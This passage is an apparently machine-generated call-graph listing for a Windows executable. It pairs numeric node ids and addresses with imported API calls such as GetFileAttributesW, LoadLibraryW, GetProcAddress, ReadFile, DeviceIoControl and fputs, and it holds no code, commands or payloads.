28327->28328 28328->28295 28329->28238 28330->28255 28331->28224 28333 c55c29 __EH_prolog 28332->28333 28334 c55c43 GetFileAttributesW 28333->28334 28335 c55c4b 28333->28335 28334->28335 28336 c55c89 28334->28336 28335->28336 28337 c528a5 2 API calls 28335->28337 28336->28239 28336->28290 28338 c55c57 28337->28338 28339 c575da 6 API calls 28338->28339 28340 c55c6c 28339->28340 28341 c55c84 28340->28341 28342 c55c73 GetFileAttributesW 28340->28342 28352 c51a79 free 28341->28352 28351 c51a79 free 28342->28351 28345 c55c7f 28345->28336 28346->28253 28347->28290 28348->28291 28349->28314 28350->28302 28351->28345 28352->28336 28356 c526ac 28353->28356 28355 c52809 28355->28207 28355->28355 28357 c51a52 2 API calls 28356->28357 28358 c526c1 28357->28358 28358->28355 28360 c526ac 2 API calls 28359->28360 28361 c527b7 28360->28361 28361->28174 28363 c6c91b 28362->28363 28365 c6c938 28362->28365 28363->28365 28491 c6b99e free __EH_prolog ctype 28363->28491 28492 c51a79 free 28363->28492 28365->27950 28368 c6beb5 __EH_prolog 28367->28368 28493 c54a55 28368->28493 28371 c5286e 2 API calls 28372 c6bedd 28371->28372 28505 c560f5 28372->28505 28375 c5286e 2 API calls 28377 c6befc 28375->28377 28514 c5614e 36 API calls 2 library calls 28377->28514 28378 c6bf62 28380 c6c000 28378->28380 28383 c528a5 2 API calls 28378->28383 28382 c52978 2 API calls 28380->28382 28381 c6bf07 28515 c51a79 free 28381->28515 28385 c6c00c 28382->28385 28386 c6bf73 28383->28386 28525 c51a79 free 28385->28525 28518 c6c025 41 API calls 2 library calls 28386->28518 28387 c6bf1b 28392 c5286e 2 API calls 28387->28392 28404 c6bf4b 28387->28404 28390 c6bd7f 28412 c5286e 28390->28412 28391 c6bf8d 28393 c6bfd6 28391->28393 28519 c6c025 41 API calls 2 library calls 28391->28519 28394 c6bf30 28392->28394 28396 c52978 2 API calls 28393->28396 28516 c5614e 36 API calls 2 library calls 28394->28516 28400 c6bfe1 28396->28400 28398 c6bfa5 28398->28393 28520 c6c025 41 API calls 2 library calls 28398->28520 28399 c6bf3b 28517 c51a79 free 28399->28517 28522 c51a79 free 28400->28522 28513 c51a79 free 28404->28513 28405 c6bfe9 28523 c51a79 free 28405->28523 28406 c6bfba 28406->28393 28521 c6c025 41 API calls 2 library calls 28406->28521 28409 c6bfd2 28409->28393 28410 c6bff4 28409->28410 28524 c51a79 free 28410->28524 28413 c52884 28412->28413 28414 c527ee 2 API calls 28413->28414 28415 c5289d 28414->28415 28416 c6b9e0 28415->28416 28417 c6b9ee 28416->28417 28418 c6ba23 28417->28418 28592 c549ad FreeLibrary LoadLibraryExW 28417->28592 28533 c6c7e4 28418->28533 28422 c6ba0b 28424 c6ba12 28422->28424 28425 c6ba1e 28422->28425 28423 c52a48 3 API calls 28426 c6ba46 28423->28426 28593 c5498e 28424->28593 28428 c5498e FreeLibrary 28425->28428 28541 c549d8 28426->28541 28428->28418 28430 c6ba17 28443 c51a79 free 28430->28443 28433 c6ba86 28436 c6baa4 GetProcAddress 28433->28436 28437 c6ba8c GetProcAddress 28433->28437 28434 c6ba77 GetProcAddress 28434->28433 28435 c6ba84 28434->28435 28435->28433 28546 c6b19b GetProcAddress GetProcAddress GetProcAddress 28436->28546 28437->28436 28439 c6ba99 28437->28439 28439->28436 28442 c6bae6 28442->28430 28596 c6c8a4 free FreeLibrary ctype 28442->28596 28443->27946 28445 c6bb12 __EH_prolog 28444->28445 28446 c528a5 2 API calls 28445->28446 28447 c6bb29 28446->28447 28626 c561f0 28447->28626 28449 c6bb3b 28450 c528a5 2 API calls 28449->28450 28455 c6bb4b 28450->28455 28453 c5284a 2 API calls 28453->28455 28454 c6bba7 28455->28453 28457 c6b9e0 31 API calls 28455->28457 28462 c6bb9b 28455->28462 28631 c5622c 28455->28631 28637 c51a79 free 28455->28637 28457->28455 28635 c51a79 free 28462->28635 28465 c528a5 2 API calls 28464->28465 28466 c6b6ee 28465->28466 28466->27950 28468 c6aff9 __EH_prolog 28467->28468 28649 c6b0f0 28468->28649 28471 c6b0f0 5 API calls 28481 c6b032 28471->28481 28472 c6b0c8 28473 c80d45 ctype free 28472->28473 28475 c6b0d3 28473->28475 28474 c528a5 malloc _CxxThrowException 28474->28481 28476 c80d45 ctype free 28475->28476 28477 c6b0df 28476->28477 28477->27950 28478 c52a48 3 API calls 28478->28481 28480 c52a48 3 API calls 28482 c6b079 wcscmp 28480->28482 28481->28472 28481->28474 28481->28478 28481->28480 28483 c51a79 free ctype 28481->28483 28662 c6c6c5 28481->28662 28482->28481 28483->28481 28484->27950 28485->27950 28486->27950 28487->27950 28488->27950 28490->27949 28491->28363 28492->28363 28494 c54a5f __EH_prolog 28493->28494 28495 c528a5 2 API calls 28494->28495 28496 c54a71 28495->28496 28526 c549fd GetModuleFileNameW 28496->28526 28498 c54ab1 28499 c52978 2 API calls 28498->28499 28502 c54abc 28499->28502 28500 c54a7d 28500->28498 28531 c52b46 malloc _CxxThrowException free ctype 28500->28531 28530 c51a79 free 28502->28530 28504 c54ac4 28504->28371 28506 c560ff __EH_prolog 28505->28506 28507 c528a5 2 API calls 28506->28507 28508 c56116 28507->28508 28509 c55c9c 36 API calls 28508->28509 28510 c56123 28509->28510 28532 c51a79 free 28510->28532 28512 c5613d 28512->28375 28512->28404 28513->28378 28514->28381 28515->28387 28516->28399 28517->28404 28518->28391 28519->28398 28520->28406 28521->28409 28522->28405 28523->28390 28524->28380 28525->28390 28527 c54a4c 28526->28527 28528 c54a3a 28526->28528 28527->28500 28528->28527 28529 c529e4 3 API calls 28528->28529 28529->28527 28530->28504 28531->28498 28532->28512 28534 c6c7ee __EH_prolog 28533->28534 28535 c51a52 2 API calls 28534->28535 28536 c6c7fa 28535->28536 28537 c6c80e 28536->28537 28600 c6c82c malloc _CxxThrowException __EH_prolog 28536->28600 28597 c69bdf 28537->28597 28542 c5498e FreeLibrary 28541->28542 28543 c549e0 28542->28543 28544 c549e4 LoadLibraryW 28543->28544 28545 c549f9 28543->28545 28544->28545 28545->28433 28545->28434 28545->28442 28547 c6b2a7 GetProcAddress 28546->28547 28548 c6b1e5 GetProcAddress 28546->28548 28550 c6b2fe 28547->28550 28553 c6b2b4 28547->28553 28549 c6b1f9 28548->28549 28549->28547 28551 c6b300 28549->28551 28552 c6b305 VariantClear SysStringByteLen 28549->28552 28556 c6b29e 28549->28556 28610 c6cb66 malloc _CxxThrowException free memcpy ctype 28549->28610 28550->28551 28551->28442 28557 c6b386 28551->28557 28552->28549 28553->28550 28553->28551 28611 c77cc7 malloc _CxxThrowException free memcpy ctype 28553->28611 28556->28547 28612 c836f0 28557->28612 28559 c6b390 GetProcAddress GetProcAddress 28560 c6b3d5 GetProcAddress 28559->28560 28561 c6b3f1 GetProcAddress 28559->28561 28562 c6b3e2 28560->28562 28588 c6b405 28560->28588 28563 c6b671 28561->28563 28561->28588 28562->28588 28563->28442 28588->28563 28592->28422 28594 c54997 FreeLibrary 28593->28594 28595 c549a2 28593->28595 28594->28595 28595->28430 28596->28430 28601 c829de 28597->28601 28600->28537 28602 c829e9 28601->28602 28603 c69be7 28601->28603 28604 c51a52 2 API calls 28602->28604 28603->28423 28605 c82a08 28604->28605 28606 c82a21 28605->28606 28607 c82a12 memcpy 28605->28607 28609 c51a79 free 28606->28609 28607->28606 28609->28603 28610->28549 28611->28553 28612->28559 28627 c52a48 3 API calls 28626->28627 28628 c561ff 28627->28628 28629 c51089 4 API calls 28628->28629 28630 c56208 28629->28630 28630->28449 28633 c56234 28631->28633 28634 c5624d 28633->28634 28638 c5620c 28633->28638 28634->28455 28635->28454 28637->28455 28650 c6b0fa __EH_prolog 28649->28650 28651 c6c7b3 free 28650->28651 28652 c6b10c 28651->28652 28653 c528a5 2 API calls 28652->28653 28658 c6b114 28653->28658 28654 c6b16d 28672 c51a79 free 28654->28672 28656 c6b15b 28656->28654 28660 c5150c 4 API calls 28656->28660 28657 c6b027 28657->28471 28658->28654 28658->28656 28659 c51089 4 API calls 28658->28659 28673 c5150c 28658->28673 28659->28658 28660->28654 28663 c6c6cf __EH_prolog 28662->28663 28664 c51a52 2 API calls 28663->28664 28665 c6c6db 28664->28665 28666 c52978 2 API calls 28665->28666 28671 c6c705 28665->28671 28668 c6c6f5 28666->28668 28667 c69bdf 4 API calls 28669 c6c716 28667->28669 28670 c52978 2 API calls 28668->28670 28669->28481 28670->28671 28671->28667 28672->28657 28674 c51516 __EH_prolog 28673->28674 28675 c51a52 2 API calls 28674->28675 28676 c51521 28675->28676 28677 c51538 28676->28677 28678 c52978 2 API calls 28676->28678 28679 c69bdf 4 API calls 28677->28679 28678->28677 28680 c51544 28679->28680 28680->28658 28681->28000 28696 c81c2f 28697 c81c3b 28696->28697 28700 c81c7e 28696->28700 28698 c52a48 3 API calls 28697->28698 28699 c81c77 28698->28699 28702 c81683 28699->28702 28703 c81698 GetTickCount 28702->28703 28704 c816a1 28702->28704 28703->28704 28705 c816df 28704->28705 28708 c818d0 28704->28708 28772 c52599 strcmp 28704->28772 28705->28708 28747 c815e7 28705->28747 28708->28700 28710 c81740 28710->28708 28755 c523c9 28710->28755 28711 c816cd 28711->28705 28773 c52f6a wcscmp 28711->28773 28715 c8177e 28716 c81797 28715->28716 28717 c51b1a 6 API calls 28715->28717 28718 c8187c 28716->28718 28725 c51b1a 6 API calls 28716->28725 28720 c8178c 28717->28720 28761 c818e0 28718->28761 28719 c81754 28719->28715 28775 c51b1a 28719->28775 28783 c524d9 6 API calls 28720->28783 28728 c817b8 28725->28728 28727 c818c5 28796 c818fe malloc _CxxThrowException free 28727->28796 28731 c52a48 3 API calls 28728->28731 28734 c817c6 28731->28734 28784 c51d18 28734->28784 28735 c818bc 28738 c523c9 3 API calls 28735->28738 28736 c818b5 28795 c51c5b fflush 28736->28795 28738->28727 28740 c81861 28794 c524d9 6 API calls 28740->28794 28742 c52a48 3 API calls 28746 c817dc 28742->28746 28745 c51d18 9 API calls 28745->28746 28746->28740 28746->28742 28746->28745 28792 c52fc1 memmove 28746->28792 28793 c52e2a malloc _CxxThrowException free memmove _CxxThrowException 28746->28793 28748 c81609 __aulldiv 28747->28748 28749 c81643 strlen 28748->28749 28750 c81661 28749->28750 28751 c81672 28749->28751 28750->28751 28753 c51b1a 6 API calls 28750->28753 28752 c52497 6 API calls 28751->28752 28754 c8167e 28752->28754 28753->28750 28754->28710 28774 c52599 strcmp 28754->28774 28756 c523d5 28755->28756 28760 c523f1 28755->28760 28757 c51a52 2 API calls 28756->28757 28756->28760 28758 c523e8 28757->28758 28797 c51a79 free 28758->28797 28760->28719 28762 c818e8 strcmp 28761->28762 28763 c81888 28761->28763 28762->28763 28763->28727 28764 c81554 28763->28764 28765 c815c6 28764->28765 28766 c81567 28764->28766 28768 c815d7 fputs 28765->28768 28799 c51c5b fflush 28765->28799 28767 c8157b fputs 28766->28767 28798 c52241 malloc _CxxThrowException free _CxxThrowException ctype 28766->28798 28767->28765 28768->28735 28768->28736 28772->28711 28773->28705 28774->28710 28776 c51b25 28775->28776 28777 c51b2a 28775->28777 28800 c522ae 6 API calls 28776->28800 28779 c52497 28777->28779 28780 c524a6 28779->28780 28780->28780 28801 c522c3 28780->28801 28783->28716 28785 c51d25 28784->28785 28786 c51d37 28785->28786 28789 c51d2f 28785->28789 28806 c530e3 9 API calls 28786->28806 28788 c51d41 28788->28746 28790 c53568 28789->28790 28807 c52241 malloc _CxxThrowException free _CxxThrowException ctype 28789->28807 28790->28746 28792->28746 28793->28746 28794->28718 28795->28735 28796->28708 28797->28760 28798->28767 28799->28768 28800->28777 28802 c522d5 28801->28802 28803 c522e8 28801->28803 28805 c521e6 6 API calls ctype 28802->28805 28803->28715 28805->28803 28806->28788 28807->28790 28808 c596cd 28809 c596d9 28808->28809 28811 c596ed 28808->28811 28809->28811 28814 c5649c 28809->28814 28812 c59757 28819 c5964f GetLastError 28812->28819 28815 c564c3 SetFilePointer 28814->28815 28817 c564a9 28814->28817 28816 c564e7 GetLastError 28815->28816 28818 c564f1 28815->28818 28816->28818 28817->28815 28818->28812 28819->28811 28820 c7806f 28821 c78079 __EH_prolog 28820->28821 28824 c8244d 28821->28824 28822 c78095 28830 c836f0 28824->28830 28826 c82457 EnterCriticalSection 28827 c82478 28826->28827 28828 c8248c LeaveCriticalSection 28826->28828 28829 c81683 23 API calls 28827->28829 28828->28822 28829->28828 28830->28826 28831 c5992c 28832 c59935 28831->28832 28833 c5993c 28831->28833 28834 c5649c 2 API calls 28833->28834 28835 c59954 28834->28835 28837 c5964f GetLastError 28835->28837 28837->28832 28838 c593cf 28846 c593dc 28838->28846 28839 c595cd 28857 c5687f 28839->28857 28842 c59613 GetLastError 28843 c59411 28842->28843 28844 c59584 28844->28843 28848 c595a2 memcpy 28844->28848 28845 c5954e 28845->28839 28849 c5649c 2 API calls 28845->28849 28846->28839 28846->28843 28846->28844 28846->28845 28847 c5649c 2 API calls 28846->28847 28850 c59514 28846->28850 28851 c59578 28846->28851 28862 c56852 ReadFile 28846->28862 28847->28846 28848->28843 28852 c59574 28849->28852 28850->28846 28856 c5962a 28850->28856 28861 c830a0 VirtualAlloc 28850->28861 28863 c5964f GetLastError 28851->28863 28852->28839 28852->28851 28856->28843 28858 c5688c 28857->28858 28864 c56852 ReadFile 28858->28864 28860 c5689d 28860->28842 28860->28843 28861->28850 28862->28846 28863->28843 28864->28860 28865 c81f82 28866 c81f8f fputs 28865->28866 28875 c81fee 28865->28875 28868 c81fc8 fputs 28866->28868 28869 c81fb7 28866->28869 28871 c81fc6 28868->28871 28876 c51e1c 28869->28876 28888 c51c6a fputc 28871->28888 28873 c81fe7 28889 c51c6a fputc 28873->28889 28877 c51e26 __EH_prolog 28876->28877 28890 c528e8 malloc _CxxThrowException 28877->28890 28879 c51e37 28891 c522eb 28879->28891 28883 c51e61 28897 c51a79 free 28883->28897 28885 c51e69 28898 c51a79 free 28885->28898 28887 c51e71 28887->28871 28888->28873 28889->28875 28890->28879 28892 c51a52 2 API calls 28891->28892 28893 c51e4e 28892->28893 28894 c51d43 28893->28894 28895 c51d18 9 API calls 28894->28895 28896 c51d56 fputs 28895->28896 28896->28883 28897->28885 28898->28887 28899 c78dcb 28900 c78dd5 __EH_prolog 28899->28900 28903 c56823 28900->28903 28906 c567e7 28903->28906 28907 c56363 9 API calls 28906->28907 28908 c56804 28907->28908 28911 c5664e 28908->28911 28912 c567e1 28911->28912 28913 c56671 28911->28913 28913->28912 28914 c5667a DeviceIoControl 28913->28914 28915 c5669e 28914->28915 28916 c5671b 28914->28916 28915->28916 28922 c566dc 28915->28922 28917 c56724 DeviceIoControl 28916->28917 28920 c56749 28916->28920 28918 c56757 DeviceIoControl 28917->28918 28917->28920 28919 c56779 DeviceIoControl 28918->28919 28918->28920 28919->28920 28920->28912 28928 c56542 5 API calls ctype 28920->28928 28927 c57d72 GetModuleHandleW GetProcAddress GetDiskFreeSpaceW 28922->28927 28923 c567da 28929 c5652f SetFilePointer GetLastError 28923->28929 28926 c56705 28926->28916 28927->28926 28928->28923 28929->28912 28930 c822d8 28931 c8235d 28930->28931 28932 c822e4 28930->28932 28944 c7b7e0 28932->28944 28934 c822ee 28937 c82320 28934->28937 28958 c51c6a fputc 28934->28958 28936 c8230e 28939 c823e4 10 API calls 28936->28939 28938 c82340 28937->28938 28940 c823e4 10 API calls 28937->28940 28948 c823e4 28938->28948 28939->28937 28940->28938 28945 c7b7ea 28944->28945 28946 c7b7f9 28944->28946 28945->28946 28947 c81554 6 API calls 28945->28947 28946->28934 28947->28946 28949 c823ee __EH_prolog 28948->28949 28950 c522eb 2 API calls 28949->28950 28951 c823ff 28950->28951 28960 c7a1b5 28951->28960 28955 c82434 28982 c51a79 free 28955->28982 28957 c82352 28959 c51c6a fputc 28957->28959 28958->28936 28959->28931 28983 c7a11c 28960->28983 28963 c7a1f6 28965 c7a23b 28963->28965 28967 c7a202 28963->28967 28968 c7a20b 28963->28968 28966 c7a26e fputs fputs fputs 28965->28966 28970 c7a247 28965->28970 28971 c7a250 28965->28971 28981 c51c6a fputc 28966->28981 28972 c5248f 6 API calls 28967->28972 28973 c52497 6 API calls 28968->28973 28974 c5248f 6 API calls 28970->28974 28975 c52497 6 API calls 28971->28975 28978 c7a209 28972->28978 28973->28978 28977 c7a24e 28974->28977 28975->28977 28979 c7a00a 6 API calls 28977->28979 28980 c7a00a 6 API calls 28978->28980 28979->28966 28980->28965 28981->28955 28982->28957 28984 c7a12d 28983->28984 28985 c7a155 28983->28985 28986 c7a00a 6 API calls 28984->28986 28987 c7a00a 6 API calls 28985->28987 28989 c7a149 28986->28989 28988 c7a177 28987->28988 29010 c7a0ef 28988->29010 28991 c52497 6 API calls 28989->28991 28991->28985 28993 c7a1b2 28993->28963 28999 c5248f 28993->28999 28994 c5248f 6 API calls 28995 c7a193 28994->28995 28996 c7a00a 6 API calls 28995->28996 28997 c7a1a5 28996->28997 28998 c7a0ef 6 API calls 28997->28998 28998->28993 29000 c51b1a 6 API calls 28999->29000 29001 c52496 29000->29001 29002 c7a00a 29001->29002 29003 c7a024 29002->29003 29004 c52497 6 API calls 29003->29004 29005 c7a02f 29004->29005 29025 c5247b 29005->29025 29008 c52497 6 API calls 29009 c7a03e 29008->29009 29009->28963 29011 c7a0ff 29010->29011 29012 c7a118 29010->29012 29013 c52497 6 API calls 29011->29013 29012->28993 29012->28994 29014 c7a109 29013->29014 29016 c7a044 29014->29016 29017 c7a00a 6 API calls 29016->29017 29019 c7a05d 29017->29019 29018 c7a0e8 29018->29012 29019->29018 29020 c52497 6 API calls 29019->29020 29021 c7a0b2 29020->29021 29022 c7a00a 6 API calls 29021->29022 29023 c7a0df 29022->29023 29024 c51b1a 6 API calls 29023->29024 29024->29018 29026 c51b1a 6 API calls 29025->29026 29027 c52482 29026->29027 29027->29008 29028 c81bf8 29029 c81c1d 29028->29029 29030 c81c06 fputs 29028->29030 29035 c5236c malloc _CxxThrowException free ctype 29029->29035 29034 c51c6a fputc 29030->29034 29033 c81c2a 29034->29029 29035->29033 29036 c598f4 29041 c56998 29036->29041 29040 c59927 29044 c569a5 29041->29044 29043 c569d1 29045 c5964f GetLastError 29043->29045 29044->29043 29046 c5695e 29044->29046 29045->29040 29047 c5696c 29046->29047 29048 c5696f WriteFile 29046->29048 29047->29048 29048->29044 29049 c59354 29054 c59370 29049->29054 29052 c59369 29055 c5937a __EH_prolog 29054->29055 29061 c830c0 VirtualFree 29055->29061 29057 c593ab 29058 c56415 ctype CloseHandle 29057->29058 29059 c5935c 29058->29059 29059->29052 29060 c51a79 free 29059->29060 29060->29052 29061->29057 29062 c7fb35 29063 c7fb3f __EH_prolog 29062->29063 29064 c528a5 2 API calls 29063->29064 29065 c7fb7d 29064->29065 29066 c528a5 2 API calls 29065->29066 29067 c7fb89 29066->29067 29068 c528a5 2 API calls 29067->29068 29069 c7fbbc 29068->29069 29076 c7fac5 29069->29076 29071 c7fbd6 29080 c7fc75 29071->29080 29074 c528a5 2 API calls 29075 c7fc3a 29074->29075 29077 c7facf __EH_prolog 29076->29077 29078 c528a5 2 API calls 29077->29078 29079 c7faf2 29078->29079 29079->29071 29081 c7fc7f __EH_prolog 29080->29081 29094 c5cc2c malloc _CxxThrowException __EH_prolog 29081->29094 29083 c7fcaa 29084 c528a5 2 API calls 29083->29084 29085 c7fcc5 29084->29085 29086 c528a5 2 API calls 29085->29086 29087 c7fce6 29086->29087 29088 c528a5 2 API calls 29087->29088 29089 c7fd07 29088->29089 29090 c528a5 2 API calls 29089->29090 29091 c7fd16 29090->29091 29092 c528a5 2 API calls 29091->29092 29093 c7fc11 29092->29093 29093->29074 29094->29083 29095 c780b3 29096 c780bd __EH_prolog 29095->29096 29099 c824a5 29096->29099 29097 c780d6 29106 c836f0 29099->29106 29101 c824af EnterCriticalSection 29102 c824e9 29101->29102 29103 c824ce 29101->29103 29104 c824ee LeaveCriticalSection 29102->29104 29103->29102 29105 c81683 23 API calls 29103->29105 29104->29097 29105->29102 29106->29101 29107 c5979c GetFileInformationByHandle 29108 c59823 GetLastError 29107->29108 29109 c597b6 29107->29109 29108->29109 29110 c7ebbc 29111 c7ef24 29110->29111 29112 c7ebc9 29110->29112 29113 c5150c 4 API calls 29111->29113 29115 c7ede3 29112->29115 29116 c7ebdc 29112->29116 29114 c7ef5a 29113->29114 29117 c5150c 4 API calls 29114->29117 29119 c7ef11 29115->29119 29120 c7edf0 29115->29120 29118 c7ebfd 29116->29118 29829 c52b46 malloc _CxxThrowException free ctype 29116->29829 29121 c7ef69 29117->29121 29312 c7dd06 29118->29312 29839 c8031c fputc fputs fputs _CxxThrowException 29119->29839 29834 c8027b malloc _CxxThrowException __EH_prolog 29120->29834 29129 c51a52 2 API calls 29121->29129 29125 c7edfb 29128 c6c7b3 free 29125->29128 29132 c7ee25 29128->29132 29133 c7f0de 29129->29133 29130 c7f815 29890 c80723 _CxxThrowException 29130->29890 29138 c522eb 2 API calls 29132->29138 29139 c7f0f1 29133->29139 29840 c7fe85 malloc _CxxThrowException __EH_prolog 29133->29840 29134 c52a48 3 API calls 29140 c7ec61 29134->29140 29135 c7f810 29889 c8073e 25 API calls __aulldiv 29135->29889 29137 c7f81d 29891 c51a79 free 29137->29891 29142 c7ee54 29138->29142 29149 c52a48 3 API calls 29139->29149 29318 c800e4 29140->29318 29835 c6a711 84 API calls 2 library calls 29142->29835 29145 c7f828 29892 c69c9d free ctype 29145->29892 29148 c7ee7b 29151 c7fb17 2 API calls 29148->29151 29159 c7f12a 29149->29159 29150 c7f838 29153 c7f848 29150->29153 29156 c6bbcb 2 API calls 29150->29156 29154 c7ee89 29151->29154 29893 c7fa24 free __EH_prolog 29153->29893 29158 c523c9 3 API calls 29154->29158 29155 c52a48 3 API calls 29160 c7eccf 29155->29160 29156->29153 29162 c7ee9c 29158->29162 29841 c7faa2 malloc _CxxThrowException 29159->29841 29164 c6c7b3 free 29160->29164 29161 c7f857 29894 c511bb free __EH_prolog ctype 29161->29894 29169 c80461 26 API calls 29162->29169 29167 c7ecf2 29164->29167 29166 c7f17c 29842 c80c65 malloc _CxxThrowException free 29166->29842 29324 c7fb17 29167->29324 29168 c7f866 29895 c80b30 free __EH_prolog ctype 29168->29895 29170 c7eed6 29169->29170 29175 c80d45 ctype free 29170->29175 29174 c7f875 29178 c80d45 ctype free 29174->29178 29179 c7eee8 29175->29179 29176 c7f192 29843 c5d13d malloc _CxxThrowException free memcpy __EH_prolog 29176->29843 29182 c7f881 29178->29182 29836 c51a79 free 29179->29836 29184 c7f1d2 29187 c528a5 2 API calls 29184->29187 29185 c7ed50 29188 c7ed69 29185->29188 29191 c81554 6 API calls 29185->29191 29186 c7eef3 29837 c51a79 free 29186->29837 29190 c7f1da 29187->29190 29772 c80461 29188->29772 29194 c7f22e 29190->29194 29844 c6a15e 19 API calls 2 library calls 29190->29844 29191->29188 29193 c7eefb 29838 c802e9 6 API calls ctype 29193->29838 29846 c68bc9 79 API calls 2 library calls 29194->29846 29199 c80d45 ctype free 29202 c7edab 29199->29202 29200 c7f2c1 29205 c81554 6 API calls 29200->29205 29207 c7f2d6 29200->29207 29201 c7f227 29845 c80723 _CxxThrowException 29201->29845 29830 c51a79 free 29202->29830 29205->29207 29206 c7f316 29208 c7f392 29206->29208 29851 c51c6a fputc 29206->29851 29207->29206 29847 c51c6a fputc 29207->29847 29210 c7f3cd 29208->29210 29214 c7f3a8 fputs 29208->29214 29209 c7edb3 29831 c80cab 6 API calls ctype 29209->29831 29216 c7f40c 29210->29216 29221 c7f3e7 fputs 29210->29221 29222 c7f48d 29210->29222 29856 c51f03 fputs 29214->29856 29215 c7f337 29215->29208 29220 c7f349 fputs 29215->29220 29216->29222 29230 c7f445 29216->29230 29231 c7f421 fputs 29216->29231 29217 c7edc3 29832 c51a79 free 29217->29832 29218 c7f2ee fputs 29848 c51c6a fputc 29218->29848 29852 c51f03 fputs 29220->29852 29858 c51f03 fputs 29221->29858 29250 c7f4dd 29222->29250 29865 c51c6a fputc 29222->29865 29225 c7f3c6 29857 c51c6a fputc 29225->29857 29228 c7edd2 29833 c814bb 6 API calls 2 library calls 29228->29833 29229 c7f304 29849 c51c7d 10 API calls 2 library calls 29229->29849 29230->29222 29862 c51c6a fputc 29230->29862 29860 c51f03 fputs 29231->29860 29233 c7f366 29853 c51c6a fputc 29233->29853 29234 c7f405 29859 c51c6a fputc 29234->29859 29239 c7f665 29885 c6addf free __EH_prolog ctype 29239->29885 29243 c7edde 29243->29130 29243->29135 29244 c7f30f 29850 c51c6a fputc 29244->29850 29245 c7f43e 29861 c51c6a fputc 29245->29861 29247 c7f45a 29247->29222 29254 c7f468 fputs 29247->29254 29249 c7f667 29882 c51c6a fputc 29249->29882 29250->29239 29250->29249 29256 c7f519 29250->29256 29251 c7f36d fputs 29854 c51f03 fputs 29251->29854 29252 c7f4aa 29252->29250 29259 c7f4b8 fputs 29252->29259 29863 c51f03 fputs 29254->29863 29255 c7f6b2 29886 c51a79 free 29255->29886 29256->29239 29269 c7f533 fputs 29256->29269 29270 c7f558 29256->29270 29866 c51f03 fputs 29259->29866 29262 c7f38b 29855 c51c6a fputc 29262->29855 29263 c7f66e 29263->29239 29265 c7f67f fputs 29263->29265 29883 c51f03 fputs 29265->29883 29266 c7f4d6 29867 c51c6a fputc 29266->29867 29267 c7f486 29864 c51c6a fputc 29267->29864 29268 c7f6ba 29887 c80e8e free __EH_prolog ctype 29268->29887 29868 c51f03 fputs 29269->29868 29277 c7f583 fputs 29270->29277 29286 c7f5fa fputs 29270->29286 29870 c51f03 fputs 29277->29870 29278 c7f69c 29884 c51c6a fputc 29278->29884 29280 c7f6ca 29888 c51a79 free 29280->29888 29281 c7f551 29869 c51c6a fputc 29281->29869 29283 c7f5a1 29871 c51c6a fputc 29283->29871 29876 c51f03 fputs 29286->29876 29288 c7f6d5 29292 c80d45 ctype free 29288->29292 29290 c7f5a8 29290->29286 29293 c7f5b3 fputs 29290->29293 29291 c7f618 29877 c51c6a fputc 29291->29877 29295 c7f7f2 29292->29295 29872 c51f03 fputs 29293->29872 29295->29243 29298 c80d45 ctype free 29295->29298 29297 c7f622 fputs 29878 c51f03 fputs 29297->29878 29298->29243 29299 c7f5ce 29873 c51c6a fputc 29299->29873 29302 c7f644 29879 c51c6a fputc 29302->29879 29303 c7f5d5 fputs 29874 c51f03 fputs 29303->29874 29306 c7f64b 29306->29239 29880 c51c6a fputc 29306->29880 29307 c7f5f3 29875 c51c6a fputc 29307->29875 29310 c7f658 29881 c7ba94 11 API calls 29310->29881 29313 c7dd10 __EH_prolog 29312->29313 29896 c7dd6d 29313->29896 29316 c528a5 2 API calls 29317 c7dd58 29316->29317 29317->29134 29319 c800ee __EH_prolog 29318->29319 29918 c80151 29319->29918 29322 c528a5 2 API calls 29323 c7ec6c 29322->29323 29323->29155 29325 c522eb 2 API calls 29324->29325 29326 c7ed16 29325->29326 29327 c74aa2 29326->29327 29328 c74aac __EH_prolog 29327->29328 29329 c542e9 14 API calls 29328->29329 29406 c74af8 29328->29406 29330 c74b3f 29329->29330 29331 c686c2 38 API calls 29330->29331 29332 c74b47 29331->29332 29333 c5429e 6 API calls 29332->29333 29334 c74b4f 29333->29334 29335 c74c95 29334->29335 29337 c528a5 2 API calls 29334->29337 29334->29406 29926 c6954f 29335->29926 29339 c74b7c 29337->29339 29341 c528a5 2 API calls 29339->29341 29340 c74ccf 29348 c74cd3 29340->29348 29932 c745ef 29340->29932 29343 c74b8a 29341->29343 30191 c52b46 malloc _CxxThrowException free ctype 29343->30191 29345 c74cbe 29345->29348 30202 c747cd 4 API calls 2 library calls 29345->30202 30339 c695fb free __EH_prolog ctype 29348->30339 29349 c74b9d 30192 c5d1e0 malloc _CxxThrowException free memcpy __EH_prolog 29349->30192 29350 c74d34 29352 c74d62 29350->29352 29355 c74d47 _CxxThrowException 29350->29355 29356 c750ee 29350->29356 29365 c528a5 2 API calls 29352->29365 29355->29352 29363 c75125 29356->29363 30227 c5292b malloc _CxxThrowException 29356->30227 29357 c74bac 29360 c74bb4 29357->29360 29370 c74bce 29357->29370 29359 c74d03 29361 c52a48 3 API calls 29359->29361 30193 c5236c malloc _CxxThrowException free ctype 29360->30193 29362 c74d10 29361->29362 30204 c51a79 free 29362->30204 29371 c7512b 29363->29371 29944 c66ffb 29363->29944 29369 c74d78 29365->29369 29368 c74bc4 30197 c51a79 free 29368->30197 29375 c55c9c 36 API calls 29369->29375 29377 c54a55 4 API calls 29370->29377 29454 c74c3c 29370->29454 30338 c51a79 free 29371->30338 29372 c74d1c 29378 c51089 4 API calls 29372->29378 29374 c75109 30228 c6c16e CharUpperW 29374->30228 29382 c74d8a 29375->29382 29376 c560f5 36 API calls 29385 c74c4a 29376->29385 29386 c74bf6 29377->29386 29387 c74d27 29378->29387 29383 c74dd0 29382->29383 29384 c74d8e 29382->29384 29399 c74ddd _CxxThrowException 29383->29399 29421 c74df8 29383->29421 29392 c74d93 _CxxThrowException 29384->29392 29393 c74dae 29384->29393 29394 c74c4e 29385->29394 29395 c74c7b 29385->29395 29396 c5284a 2 API calls 29386->29396 30205 c52c69 malloc _CxxThrowException free _CxxThrowException 29387->30205 29390 c74c69 30198 c51a79 free 29390->30198 29391 c75116 30229 c51a79 free 29391->30229 29392->29393 29603 c750da 29393->29603 30206 c747cd 4 API calls 2 library calls 29393->30206 30196 c7409f malloc _CxxThrowException free GetLastError memcpy 29394->30196 30199 c51a79 free 29395->30199 29403 c74c05 29396->29403 29399->29421 30194 c51a79 free 29403->30194 29404 c75190 29410 c66dba 2 API calls 29404->29410 29405 c7521a 29464 c75215 29405->29464 29604 c7528d 29405->29604 29951 c672ec 29405->29951 29406->29185 29420 c7519b 